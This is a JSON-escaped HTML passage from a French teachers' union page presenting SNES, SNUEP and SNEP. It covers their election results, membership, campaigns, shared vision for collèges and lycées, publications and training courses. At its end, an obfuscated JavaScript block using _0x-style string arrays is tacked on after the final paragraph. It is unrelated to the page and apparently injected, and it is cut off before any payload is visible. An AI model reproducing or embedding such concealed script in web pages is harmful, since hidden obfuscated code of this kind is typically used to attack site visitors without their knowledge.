m\u00e9tiers et nos enseignements.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Le SNES<\/h4>\n<p>Les personnels des coll\u00e8ges et des LEGT ont confirm\u00e9 le SNES dans sa place de premier syndicat des coll\u00e8ges et des lyc\u00e9es, en lui accordant 43 % des suffrages. Ses \u00e9lus occupent donc une tr\u00e8s large majorit\u00e9 des si\u00e8ges dans les diff\u00e9rentes commissions paritaires, au niveau acad\u00e9mique comme national, et sont les seuls \u00e0 assurer au quotidien un r\u00f4le de conseil et de d\u00e9fense de tous les coll\u00e8gues. Le SNES syndique 37 % des stagiaires, compte en tout 60 000 adh\u00e9rents.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Le SNUEP<\/h4>\n<p>Les professeur-e-s de lyc\u00e9e professionnel font de plus en plus confiance au SNUEP en \u00e9tant toujours plus nombreuses et nombreux \u00e0 lui apporter sa voix et \u00e0 adh\u00e9rer. Il s\u2019agit d\u2019une reconnaissance des coll\u00e8gues du travail effectu\u00e9 par nos \u00e9lu\u00b7es depuis 2001, mais aussi une confirmation de l\u2019importance d\u2019avoir un syndicat des PLP au sein de la FSU. Ces derni\u00e8res \u00e9lections ont permis au SNUEP d\u2019avoir des \u00e9lu\u00b7es dans la quasi-totalit\u00e9 des acad\u00e9mies.<\/p>\n<p>Le SNUEP-FSU, fort de ses \u00e9lu-e-s \u00e0 la CAPN et aux CAPA des PLP, vous conseille et vous accompagne dans vos d\u00e9marches tout au long de votre ann\u00e9e de stage et de votre carri\u00e8re.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Le SNEP<\/h4>\n<p>Les professeurs d\u2019EPS (toutes cat\u00e9gories confondues) ont confirm\u00e9 la place du SNEP comme premier syndicat avec plus de 83 % des voix obtenues aux \u00e9lections professionnelles de d\u00e9cembre 2018. Il a ainsi :<\/p>\n<p>\u2022 9 si\u00e8ges sur 9 \u00e0 la CAP nationale des professeurs d\u2019EPS (professeurs d\u2019EPS, CE d\u2019EPS et agr\u00e9g\u00e9s) ;<\/p>\n<p>\u2022 une repr\u00e9sentation acad\u00e9mique majoritaire dans les FPMA et CAPA ;<\/p>\n<p>\u2022 un si\u00e8ge \u00e0 la CAP nationale des professeurs de sport.<\/p>\n<p>Il compte 10 000 syndiqu\u00e9s.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Un syndicalisme de lutte<\/h4>\n<p>Incarnant plus que tous les autres la profession, nous n\u2019avons cess\u00e9 de la mobiliser pour promouvoir le second degr\u00e9 et d\u00e9fendre et am\u00e9liorer nos statuts, nos conditions de travail, la formation des jeunes, nos int\u00e9r\u00eats de fonctionnaires et de salari\u00e9s, la qualit\u00e9 et la la\u00efcit\u00e9 du service public d\u2019\u00e9ducation et de formation. Ces derni\u00e8res ann\u00e9es, nous avons mobilis\u00e9 la profession contre les projets gouvernementaux de Parcoursup qui introduit la s\u00e9lection \u00e0 l\u2019entr\u00e9e \u00e0 l\u2019universit\u00e9, la r\u00e9forme du lyc\u00e9e, la r\u00e9forme de la formation professionnelle ou contre le gel du point d\u2019indice et la r\u00e9introduction du jour de carence.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Un syndicalisme de r\u00e9flexion et de propositions<\/h4>\n<h4 class=\"has-vivid-red-color has-text-color\">Notre projet commun<\/h4>\n<p><strong>Un second degr\u00e9 confort\u00e9 dans ses missions<\/strong><\/p>\n<p>Le second degr\u00e9 doit relever le d\u00e9fi d\u2019amener plus d\u2019\u00e9l\u00e8ves au baccalaur\u00e9at, au-del\u00e0 des 78,6 % actuels, et de les pr\u00e9parer \u00e0 des poursuites d\u2019\u00e9tudes. Cela impose de conserver sa sp\u00e9cificit\u00e9 et son unit\u00e9, construites sur une identit\u00e9 professionnelle forte des enseignants et CPE et une structuration disciplinaire des enseignements.<\/p>\n<p><strong>Organis\u00e9 en deux temps<\/strong><\/p>\n<p>Le coll\u00e8ge, dans la continuit\u00e9 de l\u2019\u00e9cole \u00e9l\u00e9mentaire, concerne tous les jeunes d\u2019une g\u00e9n\u00e9ration, tous capables a priori d\u2019affronter la rupture que repr\u00e9sente l\u2019entr\u00e9e en classe de sixi\u00e8me. L\u2019organisation des enseignements en disciplines scolaires clairement identifi\u00e9es doit \u00eatre la r\u00e8gle, tout en pensant mieux les points entre elles, les approches interdisciplinaires et les travaux sur projet qui peuvent donner sens aux apprentissages. La r\u00e9forme du coll\u00e8ge ne va pas en ce sens.<\/p>\n<p>Le lyc\u00e9e, diversifi\u00e9 en trois voies (g\u00e9n\u00e9rale, technologique et professionnelle) non hi\u00e9rarchis\u00e9es, doit permettre l\u2019acc\u00e8s \u00e0 une qualification de niveau IV (niveau bac) et \u00e0 pr\u00e9parer des poursuites d\u2019\u00e9tudes.<\/p>\n<p><strong>Structur\u00e9 par la culture commune<\/strong><\/p>\n<p>Sa premi\u00e8re mission est de faire acqu\u00e9rir \u00e0 tous une culture commune qui vise \u00e0 l\u2019\u00e9panouissement personnel, des acquisitions cognitives exigeantes, l\u2019insertion dans un monde commun de langages, de concepts, de valeurs et d\u2019\u0153uvres permettant l\u2019\u00e9l\u00e9vation du niveau de formation du citoyen et du futur travailleur lui permettant de comprendre et d\u2019agir sur le monde de fa\u00e7on lucide et critique.<\/p>\n<p>Contrairement au \u00ab socle commun de connaissances et de comp\u00e9tences \u00bb, de la loi de 2005, fig\u00e9 en sept comp\u00e9tences peu lisibles, notre conception part de l\u2019id\u00e9e que les jeunes en devenir ont besoin d\u2019une culture large, ouverte, diversifi\u00e9e, structurant des connaissances et permettant le raisonnement, le questionnement, l\u2019exp\u00e9rimentation, l\u2019argumentation, le d\u00e9veloppement de l\u2019esprit critique et de la cr\u00e9ativit\u00e9, la ma\u00eetrise des langages et une r\u00e9flexion autour de l\u2019universalit\u00e9 des valeurs dans le respect de la culture de l\u2019autre.<\/p>\n<p>L\u2019action du SNES, du SNUEP et du SNEP dans les d\u00e9bats sur la refondation de l\u2019\u00c9cole a permis d\u2019imposer la notion de culture dans la conception du socle commun.<\/p>\n<p class=\"has-vivid-red-color has-text-color\">Une r\u00e9flexion qui associe toute la profession et ouverte sur le monde<\/p>\n<p>Nos prises de position sont riches des contributions de nos dizaines de milliers d\u2019adh\u00e9rents, nos instances et nos secteurs, auxquels participent, \u00e0 tous les niveaux, des milliers de militants. En dehors des congr\u00e8s, elles sont sans cesse en d\u00e9bat avec la profession, lors des formations syndicales que les militants d\u00e9partementaux, acad\u00e9miques ou nationaux organisent, ou dans les coll\u00e8ges et les lyc\u00e9es lors des heures mensuelles d\u2019information syndicale.<\/p>\n<p>L\u2019existence au sein de nos syndicats de groupes de r\u00e9flexion disciplinaire et cat\u00e9goriels permet de porter la parole des coll\u00e8gues aupr\u00e8s des autorit\u00e9s de tutelle et du minist\u00e8re, par exemple au moment de la r\u00e9daction des programmes.<\/p>\n<p>Le SNES a nou\u00e9 au d\u00e9but des ann\u00e9es 2000 un partenariat avec l\u2019\u00e9quipe de clinique de l\u2019activit\u00e9 du Laboratoire de psychologie du \u00adtravail et de l\u2019action du Conservatoire national des arts et m\u00e9tiers (CNAM), qui d\u00e9bouche d\u00e9sormais sur la constitution de collectifs dans plusieurs acad\u00e9mies pour initier, \u00e0 l\u2019heure de la \u00ab crise du travail \u00bb, une d\u00e9marche de reprise en main personnelle et collective du m\u00e9tier par ceux qui le font.<\/p>\n<p>Le SNES est engag\u00e9 depuis le d\u00e9but les ann\u00e9es 1990 dans des actions de coop\u00e9ration et de d\u00e9veloppement des organisations syndicales de l\u2019\u00e9ducation, seul ou en partenariat avec d\u2019autres organisations coop\u00e9rantes. Le SNES est \u00e9galement membre fondateur de l\u2019organisation altermondialiste ATTAC.<\/p>\n<p>Le SNEP communique sa r\u00e9flexion gr\u00e2ce \u00e0 :<\/p>\n<p>\u2022 un bulletin d\u2019information bimensuel adress\u00e9 \u00e0 tous les syndiqu\u00e9s ;<\/p>\n<p>\u2022 des publications sp\u00e9cifiques par secteur particulier (enseignement sup\u00e9rieur\/CPD, sport, agriculture, retrait\u00e9s, etc.) ;<\/p>\n<p>\u2022 un site Internet tr\u00e8s convivial ;<\/p>\n<p>\u2022 des lettres d\u2019information \u00e9lectroniques.<\/p>\n<p>Il a cr\u00e9\u00e9 une association \u00ab Centre EPS et Soci\u00e9t\u00e9 \u00bb qui traite des questions de contenus et qui r\u00e9alise trois revues par an (Contre-Pied) qui sont envoy\u00e9es \u00e0 tous les syndiqu\u00e9s.<\/p>\n<p>Il m\u00e8ne une politique de stages d\u2019information et de formation syndicale, organis\u00e9s depuis 1994, ouverts \u00e0 tous les coll\u00e8gues (syndiqu\u00e9s ou non) : plus de 14 000 coll\u00e8gues rencontr\u00e9s au cours des six derni\u00e8res ann\u00e9es, et des centaines de stages organis\u00e9s.<\/p>\n<p>Le SNUEP publie six journaux nationaux par an ainsi que des suppl\u00e9ments, envoy\u00e9s \u00e0 tous\/toutes les adh\u00e9rent-e-s, relayant et d\u00e9cryptant l\u2019actualit\u00e9 de la voie professionnelle ainsi que des sujets de soci\u00e9t\u00e9. Il diffuse \u00e9galement des lettres d\u2019information \u00e9lectroniques.<\/p>\n<p>Son site internet met \u00e0 disposition des adh\u00e9rents l\u2019ensemble des publications et de nombreux outils pour s\u2019informer et mieux comprendre les enjeux li\u00e9s \u00e0 l\u2019exercice du m\u00e9tier de PLP et \u00e0 la carri\u00e8re.<\/p>\n<p>Le SNUEP organise r\u00e9guli\u00e8rement des stages nationaux et acad\u00e9miques ainsi que des colloques lors desquels il fait appel \u00e0 des chercheuses et chercheurs travaillant sur la voie professionnelle. Il a publi\u00e9 en 2017 les actes d\u2019un de ces colloques\u00a0: \u00ab Valoriser l\u2019enseignement professionnel\u00a0: une exigence sociale\u00a0\u00bb.<\/p>\n<p>Le SNUEP participe \u00e9galement \u00e0 des recherches comme celles depuis trois ans avec l\u2019Universit\u00e9 de Lyon 2 sur les parcours professionnels des PLP.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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